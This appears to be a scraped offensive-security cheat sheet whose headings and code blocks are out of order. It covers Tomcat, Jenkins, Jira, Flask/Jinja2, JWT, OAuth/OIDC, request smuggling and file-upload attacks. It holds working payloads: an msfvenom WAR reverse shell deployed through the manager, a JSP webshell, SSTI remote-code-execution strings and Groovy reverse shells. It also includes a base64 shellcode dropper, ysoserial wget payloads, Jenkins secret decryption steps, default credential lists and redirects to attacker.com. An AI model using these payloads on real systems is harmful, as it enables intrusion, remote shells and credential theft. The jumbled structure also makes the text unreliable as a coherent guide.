    hashtag
    Manager Exploitation

    hashtag
    WAR File Deployment (RCE)

    hashtag
    Manual JSP Webshell

    hashtag
    Common CVEs

    hashtag
    CVE-2017-12615 (PUT Method RCE)

    hashtag
    CVE-2019-0232 (CGI RCE)

    hashtag
    CVE-2020-1938 (Ghostcat - AJP)

    hashtag
    CVE-2020-9484 (Deserialization)

    hashtag
    JMX Exploitation

    hashtag
    AJP Protocol Testing

    hashtag
    Tools

    hashtag
    Related Topics

    • - JSP shells

    • - Java deserialization

    NoSQL Injection: Advanced Exploitation GuideIntigritichevron-right
    Attacking .NET Web ServicesSecuriferachevron-right

    File upload

    hashtag
    Cheatsheet

    Jenkins

    hashtag
    Common bugs

    hashtag
    Deserialization RCE in old Jenkins (CVE-2015-8103, Jenkins 1.638 and older)

    OAuth

    For attacks only go to

    hashtag
    Explanation

    hashtag
    Bugs

    Jira

    OIDC (Open ID Connect)

    OpenID Connect is an authentication layer built on OAuth 2.0. Testing focuses on token manipulation, redirect vulnerabilities, and misconfigurations.

    hashtag
    Common Implementations

    hashtag
    Discovery & Enumeration

    Flash SWF

    - The Content-Length header is straightforward: it specifies the length of the message body in bytes. For example:
    
        POST /search HTTP/1.1
        Host: normal-website.com
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 11
    
        q=smuggling
    
    - The Transfer-Encoding header can be used to specify that the message body uses chunked encoding. This means that the message body contains one or more chunks of data. Each chunk consists of the chunk size in bytes (expressed in hexadecimal), followed by a newline, followed by the chunk contents. The message is terminated with a chunk of size zero. For example:
    
        POST /search HTTP/1.1
        Host: normal-website.com
        Content-Type: application/x-www-form-urlencoded
        Transfer-Encoding: chunked
    
        b
        q=smuggling
        0
    
    
    
    • CL.TE: the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header.
       ◇ Find - time delay:
        POST / HTTP/1.1
        Host: vulnerable-website.com
        Transfer-Encoding: chunked
        Content-Length: 4
    
        1
        A
        X
    • TE.CL: the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header.
       ◇ Find time delay:
        POST / HTTP/1.1
        Host: vulnerable-website.com
        Transfer-Encoding: chunked
        Content-Length: 6
    
        0
    
        X
    • TE.TE: the front-end and back-end servers both support the Transfer-Encoding header, but one of the servers can be induced not to process it by obfuscating the header in some way.
    
    - CL.TE
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 6
        Transfer-Encoding: chunked
    
        0
    
        G
        The second response should say: Unrecognized method GPOST.
    
     - TE.CL
        In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
    
        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15
    
        x=1
        0
    
     - TE.TE: obfuscating TE Header
         In Burp Suite, go to the Repeater menu and ensure that the "Update Content-Length" option is unchecked.
        Using Burp Repeater, issue the following request twice:
        POST / HTTP/1.1
        Host: your-lab-id.web-security-academy.net
        Content-Type: application/x-www-form-urlencoded
        Content-length: 4
        Transfer-Encoding: chunked
        Transfer-encoding: cow
    
        5c
        GPOST / HTTP/1.1
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 15
    
        x=1
        0
    # None algorithm
    python3 jwt_tool.py <JWT> -X a
    
    # From RS256 to HS256
    python3 jwt_tool.py <JWT> -S hs256 -k public.pem
    
    # Not checked signature
    python3 jwt_tool.py <JWT> -I -pc name -pv admin
    
    # Crack secret key
    python3 jwt_tool.py <JWT> -C -d secrets.txt 
    
    # Null kid
    python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
    
    # Use source file as kid to verify signature
    python3 jwt_tool.py -I -hc kid -hv "path/of/the/file" -S hs256 -p "Content of the file"
    
    # jku manipulation for open redirect
    python3 jwt_tool.py <JWT> -X s -ju "https://attacker.com/jwttool_custom_jwks.json"
    
    # x5u manipulation for open redirect
    openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out attacker.crt -subj "/C=AU/L=Brisbane/O=CompanyName/CN=pentester"
    python3 jwt_tool.py <JWT> -S rs256 -pr private.pem -I -hc x5u -hv "https://attacker.com/custom_x5u.json"
    # Install
    pip3 install flask-unsign
    
    # Decode session cookie
    flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
    
    # Decode from server response
    flask-unsign --decode --server 'https://target.com/login'
    
    # Bruteforce secret key
    flask-unsign --unsign --cookie 'eyJ...' --wordlist /usr/share/wordlists/rockyou.txt
    
    # Sign new cookie (after obtaining secret)
    flask-unsign --sign --cookie "{'logged_in': True, 'user': 'admin'}" --secret 'CHANGEME'
    
    # Common Flask secret keys to try:
    # secret, secretkey, password, changeme, development, devkey
    # Error pages often reveal version
    curl -v https://target.com/nonexistent 2>&1 | grep "Tomcat"
    
    # Server header
    curl -I https://target.com | grep Server
    
    # Documentation pages
    /docs/
    /RELEASE-NOTES.txt
    Logo
    Logo
    SSTI
    LFI/RFI
    Deserialization
    Web Shells
    Deserialization
    Reverse Shells
    # SWF Param Finder
    https://github.com/m4ll0k/SWFPFinder
    bash swfpfinder.sh https://example.com/test.swf
    Use ysoserialarrow-up-right to generate a payload. Then RCE using this scriptarrow-up-right:

    hashtag
    Authentication/ACL bypass (CVE-2018-1000861, Jenkins <2.150.1)

    Details herearrow-up-right.

    If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:

    hashtag
    Metaprogramming RCE in Jenkins Plugins (CVE-2019-1003000, CVE-2019-1003001, CVE-2019-1003002)

    Original RCE vulnerability herearrow-up-right, full exploit herearrow-up-right.

    Alternative RCE with Overall/Read and Job/Configure permissions herearrow-up-right.

    hashtag
    CheckScript RCE in Jenkins (CVE-2019-1003029, CVE-2019-1003030)

    Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:

    Execute arbitrary bash commands:

    If you don't immediately get a reverse shell you can debug by throwing an exception:

    hashtag
    Git plugin (<3.12.0) RCE in Jenkins (CVE-2019-10392)

    This one will only work is a user has the 'Jobs/Configure' rights in the security matrix, so it's very specific.

    hashtag
    Dumping builds to find cleartext secrets

    Use this scriptarrow-up-right to dump build console outputs and build environment variables to hopefully find cleartext secrets.

    hashtag
    Password spraying

    Use this python scriptarrow-up-right.

    hashtag
    Files to copy after compromising

    These files are needed to decrypt Jenkins secrets:

    • secrets/master.key

    • secrets/hudson.util.Secret

    Such secrets can usually be found in:

    • credentials.xml

    • jobs/.../build.xml

    Here's a regexp to find them:

    hashtag
    Decrypt Jenkins secrets offline

    Use this scriptarrow-up-right to decrypt previously dumped secrets.

    hashtag
    Groovy Scripts

    hashtag
    Decrypt Jenkins secrets from Groovy

    hashtag
    Command execution from Groovy

    For multiline shell commands, use the following shell syntax trick (example includes bind shell):

    Automate it using this scriptarrow-up-right.

    hashtag
    Reverse shell from Groovy

    I'll leave this reverse shell tip to recover a fully working PTY here in case anyone needs it:

    hashtag
    Well-Known Endpoints

    hashtag
    Key Endpoints to Test

    hashtag
    Token Attacks

    hashtag
    ID Token Manipulation

    hashtag
    Token Substitution

    hashtag
    Refresh Token Abuse

    hashtag
    Redirect URI Attacks

    hashtag
    Open Redirect

    hashtag
    Token Leakage via Redirect

    hashtag
    SSRF via OIDC

    hashtag
    State & Nonce Bypass

    hashtag
    Scope Abuse

    hashtag
    Specific Provider Attacks

    hashtag
    Keycloak

    hashtag
    Azure AD

    hashtag
    AWS Cognito

    hashtag
    Tools

    hashtag
    Related Topics

    • OAuth - OIDC is built on OAuth 2.0

    • JWT - ID tokens are JWTs

    • SSRF - URI parameters can be SSRF vectors

    # Flask cookies are: base64(payload) + '.' + timestamp + '.' + signature
    # Timestamp is 31-bit Unix epoch
    # Signature is HMAC-SHA1
    
    # Decode manually
    import base64, zlib
    cookie = "eyJ..."
    payload = base64.urlsafe_b64decode(cookie.split('.')[0] + '==')
    print(zlib.decompress(payload))  # If compressed
    # Test for Jinja2 SSTI
    {{7*7}}              # Returns: 49
    {{config}}           # Returns Flask config
    {{self}}             # Returns TemplateReference
    ${7*7}               # Alternative syntax
    # Dump configuration
    {{config}}
    {{config.items()}}
    
    # Access request object
    {{request}}
    {{request.environ}}
    {{request.args}}
    {{request.cookies}}
    {{request.headers}}
    
    # URL helpers (may reveal routes)
    {{url_for.__globals__}}
    # Read files via builtins
    {{url_for.__globals__['__builtins__'].open('/etc/passwd').read()}}
    
    # Alternative path
    {{request.application.__self__._get_data_for_json.__globals__['__builtins__']['open']('/etc/passwd').read()}}
    
    # Via cycler
    {{cycler.__init__.__globals__.os.popen('cat /etc/passwd').read()}}
    # Basic RCE
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
    # Via lipsum
    {{lipsum.__globals__['os'].popen('whoami').read()}}
    
    # Via cycler
    {{cycler.__init__.__globals__.os.popen('id').read()}}
    
    # Via joiner
    {{joiner.__init__.__globals__.os.popen('id').read()}}
    
    # Import os module
    {{request['application']['__globals__']['__builtins__']['__import__']('os').popen('id').read()}}
    # Bypass _ filter
    {{request|attr('class')}}  # Same as request.__class__
    {{request|attr('\x5f\x5fclass\x5f\x5f')}}
    
    # Bypass . filter
    {{request['__class__']}}
    {{request|attr('application')|attr('__globals__')}}
    
    # Bypass quotes
    {{request|attr(request.args.a)}}&a=__class__
    
    # Hex encoding
    {{''['\x5f\x5fclass\x5f\x5f']}}
    # If debug=True, check for debugger console
    /console
    
    # PIN is derived from:
    # - username (www-data, flask, etc.)
    # - modname (flask.app)
    # - getattr(app, '__name__', app.__class__.__name__)
    # - getattr(mod, '__file__', None)
    # - str(uuid.getnode()) - MAC address
    # - get_machine_id()
    
    # Generate PIN (requires LFI first)
    # Get machine-id
    cat /etc/machine-id
    cat /proc/sys/kernel/random/boot_id
    
    # Get MAC address
    cat /sys/class/net/eth0/address
    # Convert: 02:42:ac:11:00:02 → 2485377892354
    import hashlib
    from itertools import chain
    
    # Values obtained via LFI
    probably_public_bits = [
        'www-data',  # username
        'flask.app',  # modname
        'Flask',  # getattr(app, '__name__')
        '/usr/local/lib/python3.8/dist-packages/flask/app.py'  # getattr(mod, '__file__')
    ]
    
    private_bits = [
        '2485377892354',  # str(uuid.getnode()) - MAC as decimal
        'machine-id-here'  # machine-id + cgroup
    ]
    
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    
    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]
    
    print(f"PIN: {num}")
    # Admin/debug endpoints
    /admin
    /console
    /debug
    /api
    /swagger
    /api/docs
    
    # Common routes
    /login
    /register
    /user/<id>
    /static/<path>
    # SSTImap
    # https://github.com/AhmedMohamedDev/SSTImap
    python3 sstimap.py -u "https://target.com/?name=*"
    
    # Tplmap
    # https://github.com/AhmedMohamedDev/tplmap
    python tplmap.py -u "https://target.com/?name=*"
    
    # Flask-Unsign
    pip3 install flask-unsign
    # Manager interfaces
    /manager/html          # Web Application Manager
    /manager/text          # Text interface
    /manager/jmxproxy     # JMX proxy
    /manager/status        # Server status
    /host-manager/html     # Virtual Host Manager
    
    # Admin console (older versions)
    /admin/
    
    # Status page
    /status
    # Tomcat 4.x - 7.x example scripts (information disclosure)
    /examples/jsp/num/numguess.jsp
    /examples/jsp/dates/date.jsp
    /examples/jsp/snp/snoop.jsp        # Shows server info, headers
    /examples/jsp/error/error.html
    /examples/jsp/sessions/carts.html
    /examples/jsp/checkbox/check.html
    /examples/jsp/colors/colors.html
    /examples/jsp/cal/login.html
    /examples/jsp/include/include.jsp
    /examples/jsp/forward/forward.jsp
    /examples/jsp/plugin/plugin.jsp
    /examples/jsp/jsptoserv/jsptoservlet.jsp
    /examples/jsp/simpletag/foo.jsp
    /examples/jsp/mail/sendmail.jsp
    /examples/servlet/HelloWorldExample
    /examples/servlet/RequestInfoExample
    /examples/servlet/RequestHeaderExample
    /examples/servlet/RequestParamExample
    /examples/servlet/CookieExample
    /examples/servlet/JndiServlet
    /examples/servlet/SessionExample
    /tomcat-docs/appdev/sample/web/hello.jsp
    
    # Session manipulation
    /examples/jsp/sessions/carts.html   # Can be used for session testing
    # Common default credentials for Tomcat Manager
    admin:admin
    admin:password
    admin:tomcat
    tomcat:tomcat
    tomcat:s3cret
    manager:manager
    role1:role1
    root:root
    both:tomcat
    admin:changethis
    # Tomcat users configuration
    $CATALINA_HOME/conf/tomcat-users.xml
    /etc/tomcat/tomcat-users.xml
    /var/lib/tomcat8/conf/tomcat-users.xml
    /opt/tomcat/conf/tomcat-users.xml
    
    # Example tomcat-users.xml content:
    <user username="admin" password="admin" roles="manager-gui,admin-gui"/>
    # Generate malicious WAR file
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=attacker LPORT=4444 -f war > shell.war
    
    # Deploy via curl
    curl -u 'tomcat:tomcat' --upload-file shell.war \
      "https://target.com/manager/text/deploy?path=/shell"
    
    # Alternative: Use text interface
    curl -u 'tomcat:tomcat' \
      "https://target.com/manager/text/deploy?war=file:/path/to/shell.war&path=/shell"
    
    # Access shell
    curl https://target.com/shell/
    
    # Undeploy when done
    curl -u 'tomcat:tomcat' "https://target.com/manager/text/undeploy?path=/shell"
    <%@ page import="java.util.*,java.io.*"%>
    <%
    String cmd = request.getParameter("cmd");
    if(cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String dirone = dis.readLine();
        while(dirone != null) {
            out.println(dirone);
            dirone = dis.readLine();
        }
    }
    %>
    # Affects Tomcat 7.0.0 - 7.0.79 (Windows)
    # Upload JSP via PUT request
    
    curl -X PUT "https://target.com/shell.jsp/" -d '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>'
    curl -X PUT "https://target.com/shell.jsp%20" -d '<% ... %>'  # Space bypass
    curl -X PUT "https://target.com/shell.jsp::$DATA" -d '<% ... %>'  # NTFS stream
    # Affects Windows Tomcat with CGI enabled
    # Command injection via batch file
    
    curl "https://target.com/cgi-bin/test.bat?&whoami"
    # Affects Tomcat with AJP enabled (port 8009)
    # File read/include via AJP protocol
    
    # Check if AJP port open
    nmap -p 8009 target.com
    
    # Exploit
    # https://github.com/AhmedMohamedDev/CNVD-2020-10487-Tomcat-Ajp-lfi
    python ajpShooter.py https://target.com 8009 /WEB-INF/web.xml read
    
    # For RCE, upload file then include it
    python ajpShooter.py https://target.com 8009 /shell.txt eval
    # Session persistence deserialization
    # Requires: PersistentManager, FileStore, attacker file upload
    
    # Craft malicious session
    java -jar ysoserial.jar CommonsCollections2 'id' > /path/session.session
    
    # Trigger via Cookie
    curl -H "Cookie: JSESSIONID=../../path/session" https://target.com/
    # If JMX enabled without auth
    # Connect with jconsole or custom client
    
    # RCE via MLet
    # Create malicious MBean
    # Nmap AJP scripts
    nmap -sV -p 8009 --script ajp-auth,ajp-methods target.com
    
    # AJP request
    # https://github.com/AhmedMohamedDev/ajp-client
    python3 ajp_client.py target.com 8009 /manager/html
    # Tomcat bruteforce
    # https://github.com/AhmedMohamedDev/tomcat-manager-bruteforce
    python3 tomcat_bruteforce.py -U https://target.com/manager/html
    
    # Metasploit
    use auxiliary/scanner/http/tomcat_mgr_login
    use exploit/multi/http/tomcat_mgr_deploy
    
    # Nuclei
    nuclei -t http/cves/2020/CVE-2020-1938.yaml -u https://target.com
    nuclei -t http/default-logins/tomcat* -u https://target.com
    # Jira Scanner
    # https://github.com/bcoles/jira_scan
    # https://github.com/MayankPandey01/Jira-Lens
    # https://github.com/0x48piraj/jiraffe
    
    # cve-2019-8449 
    # The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. 
     https://jira.atlassian.com/browse/JRASERVER-69796
     https://victomhost/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
    
    # cve-2019-8451:ssrf-response-body 
    # The /plugins/servlet/gadgets/makeRequest resource in Jira before version 8.4.0 allows remote attackers to access the content of internal network resources via a Server Side Request Forgery (SSRF) vulnerability due to a logic bug in the JiraWhitelist class.
    https://jira.atlassian.com/browse/JRASERVER-69793?jql=labels%20%3D%20
    https://victomhost/plugins/servlet/gadgets/makeRequest?url=https://victomhost:[email protected]
    
    #RCE Jira=CVE-2019–11581
    #https://hackerone.com/reports/706841
    /secure/ContactAdministrators!default.jspa
    
    # cve-2018-20824
    # vulnerable to Server Side Request Forgery (SSRF). This allowed a XSS and or a SSRF attack to be performed. More information about the Atlassian OAuth plugin issue see https://ecosystem.atlassian.net/browse/OAUTH-344 . When running in an environment like Amazon EC2, this flaw can used to access to a metadata resource that provides access credentials and other potentially confidential information. 
     https://victomhost/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)
    
    # cve-2020-14179 
    # Atlassian Jira Server and Data Center allow remote, unauthenticated attackers to view custom field names and custom SLA names via an Information Disclosure vulnerability in the /secure/QueryComponent!Default.jspa endpoint.
    REF=https://jira.atlassian.com/browse/JRASERVER-71536
    POC: 
    https://victomhost/secure/QueryComponent!Default.jspa
    
    # cve-2020-14181 
    # Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the /ViewUserHover.jspa endpoint.
    Ref=https://jira.atlassian.com/browse/JRASERVER-71560?jql=text%20~%20%22cve-2020-14181%22
    # POC:
    https://victomhost/secure/ViewUserHover.jspa
    https://victomhost/ViewUserHover.jspa?username=Admin
    https://hackerone.com/reports/380354
    
    # CVE-2018-5230
    # https://jira.atlassian.com/browse/JRASERVER-67289
    #HOW TO EXPLOIT:
    https://host/issues/?filter=-8
    #Go to the link above
    #Click the "Updated Range:" text area
    #Put your XSS payload in "More than [ ] minutes ago" (15 character payload limit) or in "In range [ ] to [ ]" (No length limit, ONLY put the payload in the first box)
    #Click Update
    #Payload will run. If it doesn't run chances are you used double quotes somewhere. Only use single quotes!
    
    # jira-unauthenticated-dashboards  
    https://victomhost/rest/api/2/dashboard?maxResults=100
    
    # jira-unauth-popular-filters 
    https://victomhost/secure/ManageFilters.jspa?filter=popular&filterView=popular
    
    # https://hackerone.com/reports/197726
    https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=popular
    https://newrelic.atlassian.net/secure/ManageFilters.jspa?filterView=search
    
    # https://hackerone.com/reports/139970
    https://host/secure/ConfigurePortalPages!default.jspa?view=popular
    https://host/secure/ManageFilters.jspa?filterView=search&Search=Search&filterView=search&sortColumn=favcount&sortAscending=false
    
    #/pages/%3CIFRAME%20SRC%3D%22javascript%3Aalert(‘XSS’)%22%3E.vm
    
    # CVE-2019-3403
    # Information disclosure vulnerability
    https://jira.atlassian.com/browse/JRASERVER-69242
    #visit the URL address,you can check the user whether is exist on this host
    /rest/api/2/user/picker?query=admin
    # So the attacker can enumerate all existing users on this jira server.
    
    # CVE-2019-8442
    https://jira.atlassian.com/browse/JRASERVER-69241
    #visit the URL address,the server will leaking some server's information
    /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
    /rest/api/2/user/picker?query=admin
    /s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
    
    # CVE-2017-9506
    #https://blog.csdn.net/caiqiiqi/article/details/89017806
    /plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl
    
    #CVE-2019-3402:[Jira]XSS in the labels gadget
    /secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
    ConfigurePortalPages.jspa
    
    #CVE-2018-20824:[Jira]XSS in WallboardServlet through the cyclePeriod parameter
    /plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true
    
    #CVE-2019-3396: [Path Traversal & RCE]
    POST /rest/tinymce/1/macro/preview HTTP/1.1
    Host: JIRA
    ...
    
    {"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler(.)com/v/23464dc5","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}
    
    #CVE-2019-11581: [SSTI]
    http://<JIRA>/secure/ContactAdministrators!default.jspa
    #Try SSTI payload in subject and/or body:
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://xyz.burp(.)net').waitFor()
    
    #CVE-2020-14178: [Project Key Enum]
    http://<JIRA>/browse.<PROJECTKEY>
    
    #CVE-2020-36289: [Username Enumeration] 
    https://<JIRA>/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin
    
    #jira-unauthenticated-dashboards:
    https://<JIRA>/rest/api/2/dashboard?maxResults=100
    
    #jira-unauth-popular-filters:
    https://<JIRA>/secure/ManageFilters.jspa?filterView=popular
    # Tools
    # dump_builds, offline_decryption & password_spraying
    # https://github.com/gquere/pwn_jenkins
    # https://github.com/Accenture/jenkins-attack-framework
    
    # URL's to check
    JENKINSIP/PROJECT//securityRealm/user/admin
    JENKINSIP/jenkins/script
    
    # Groovy RCE
    def process = "cmd /c whoami".execute();println "${process.text}";
    
    # Groovy RevShell
    String host="localhost";
    int port=8044;
    String cmd="cmd.exe";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
    ./jenkins_rce.py jenkins_ip jenkins_port payload.out
    curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
    curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
    usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
                                  [-l] [-r] [-d] [-s] [-v]
                                  url [url ...]
    
    Dump all available info from Jenkins
    
    positional arguments:
      url
    
    optional arguments:
      -h, --help            show this help message and exit
      -u USER, --user USER
      -p PASSWORD, --password PASSWORD
      -o OUTPUT_DIR, --output-dir OUTPUT_DIR
      -l, --last            Dump only the last build of each job
      -r, --recover_from_failure
                            Recover from server failure, skip all existing
                            directories
      -d, --downgrade_ssl   Downgrade SSL to use RSA (for legacy)
      -s, --no_use_session  Don't reuse the HTTP session, but create a new one for
                            each request (for legacy)
      -v, --verbose         Debug mode
    grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
    Usage:
        jenkins_offline_decrypt.py <jenkins_base_path>
    or:
        jenkins_offline_decrypt.py <master.key> <hudson.util.Secret> [credentials.xml]
    or:
        jenkins_offline_decrypt.py -i <path> (interactive mode)
    println(hudson.util.Secret.decrypt("{...}"))
    def proc = "id".execute();
    def os = new StringBuffer();
    proc.waitForProcessOutput(os, System.err);
    println(os.toString());
    def proc="sh -c \$@|sh . echo /bin/echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAzgAAAAAAAAAkAQAAAAAAAAAQAAAAAAAAailYmWoCX2oBXg8FSJdSxwQkAgD96UiJ5moQWmoxWA8FajJYDwVIMfZqK1gPBUiXagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU= | base64 -d > /tmp/65001".execute();
    String host="myip";
    int port=1234;
    String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
    python -c 'import pty; pty.spawn("/bin/bash")'
    ^Z bg
    stty -a
    echo $TERM
    stty raw -echo
    fg
    export TERM=...
    stty rows xx columns yy
    - Keycloak (Red Hat)
    - Okta
    - Auth0
    - Azure AD
    - Amazon Cognito (AWS)
    - Google Identity
    - GitLab
    - Bitbucket Server (Atlassian)
    - Salesforce
    # OIDC Configuration (always check this first)
    curl https://target.com/.well-known/openid-configuration | jq
    
    # Returns:
    # - authorization_endpoint
    # - token_endpoint
    # - userinfo_endpoint
    # - jwks_uri (JSON Web Key Set)
    # - supported scopes, claims, grant types
    
    # OAuth 2.0 Authorization Server Metadata
    curl https://target.com/.well-known/oauth-authorization-server | jq
    
    # WebFinger (for email-based discovery)
    curl "https://target.com/.well-known/webfinger?resource=acct:[email protected]"
    /authorize
    /token
    /userinfo
    /logout
    /revoke
    /introspect
    /.well-known/openid-configuration
    /.well-known/jwks.json
    # Decode ID token (JWT)
    echo "eyJhbGciOiJSUzI1NiIs..." | cut -d'.' -f2 | base64 -d | jq
    
    # Check for weak algorithms
    # Look for: alg: "none", "HS256" (when RS256 expected)
    
    # Algorithm confusion attack
    # Change RS256 to HS256 and sign with public key as secret
    # Use token from one client for another
    # 1. Get token from client A
    # 2. Present to client B's resource server
    # If aud (audience) claim not validated → vulnerable
    # Test if refresh token can be used without client_secret
    curl -X POST https://target.com/token \
      -d "grant_type=refresh_token" \
      -d "refresh_token=REFRESH_TOKEN" \
      -d "client_id=CLIENT_ID"
    
    # Test refresh token rotation
    # Can old refresh tokens still be used after rotation?
    # Test redirect_uri manipulation
    /authorize?client_id=X&redirect_uri=https://attacker.com
    /authorize?client_id=X&redirect_uri=https://target.com.attacker.com
    /authorize?client_id=X&redirect_uri=https://target.com%40attacker.com
    /authorize?client_id=X&redirect_uri=https://target.com/callback/../../../attacker
    
    # Bypass techniques
    redirect_uri=https://target.com/callback?next=https://attacker.com
    redirect_uri=https://target.com/callback#@attacker.com
    redirect_uri=https://target.com/callback%0d%0aLocation:%20https://attacker.com
    # If token in URL fragment, test for:
    # 1. Open redirect to leak fragment
    # 2. Referrer header leakage
    # 3. History API access
    # Test URI parameters for SSRF
    redirect_uri=http://169.254.169.254/
    redirect_uri=http://localhost:8080/
    jwks_uri=http://internal-server/jwks.json
    
    # Metadata URL manipulation (for dynamic client registration)
    curl -X POST https://target.com/register \
      -H "Content-Type: application/json" \
      -d '{"redirect_uris":["http://attacker.com"],"jwks_uri":"http://internal:8080"}'
    # Missing state parameter (CSRF)
    # Remove state from authorization request
    /authorize?client_id=X&redirect_uri=Y  # No state → CSRF possible
    
    # State not bound to session
    # Reuse state value from another session
    
    # Missing nonce (replay attacks)
    # Remove nonce from implicit flow requests
    # Request elevated scopes
    /authorize?client_id=X&scope=openid+profile+email+admin+write
    
    # Test scope escalation after consent
    # Get consent for 'read', then request token with 'read write'
    # Admin console
    /auth/admin/
    /auth/admin/master/console/
    
    # Realm info
    /auth/realms/{realm}/.well-known/openid-configuration
    
    # CVE-2020-1714 - Adapter token spoofing
    # CVE-2020-1728 - SAML authentication bypass
    # Tenant enumeration
    curl https://login.microsoftonline.com/{tenant}/.well-known/openid-configuration
    
    # Guest user abuse
    # B2B guest tokens may have unexpected permissions
    # User pool info
    curl https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/openid-configuration
    
    # Test for self-registration if enabled
    # Check attribute-based access control bypass
    # JWT testing
    jwt_tool TOKEN -T  # Tamper mode
    jwt_tool TOKEN -C -d wordlist.txt  # Crack secret
    
    # Burp extensions
    # - JSON Web Tokens
    # - OAuth 2.0 Scanner
    # - SAML Raider (for SAML/OIDC hybrid)
    
    # OIDC testing
    # https://github.com/AhmedMohamedDev/oidc-bash-client
    hashtag
    OAuth resources

    hashtag
    OAuth scheme

    hashtag
    Code grant flow

    hashtag
    OAuth Attack mindmap

    OAuth/PKCE Attacks
    upload.random123		---	To test if random file extensions can be uploaded.
    upload.php			---	try to upload a simple php file.
    upload.php.jpeg 		--- 	To bypass the blacklist.
    upload.jpg.php 			---	To bypass the blacklist. 
    upload.php 			---	and Then Change the content type of the file to image or jpeg.
    upload.php*			---	version - 1 2 3 4 5 6 7.
    upload.PHP			---	To bypass The BlackList.
    upload.PhP			---	To bypass The BlackList.
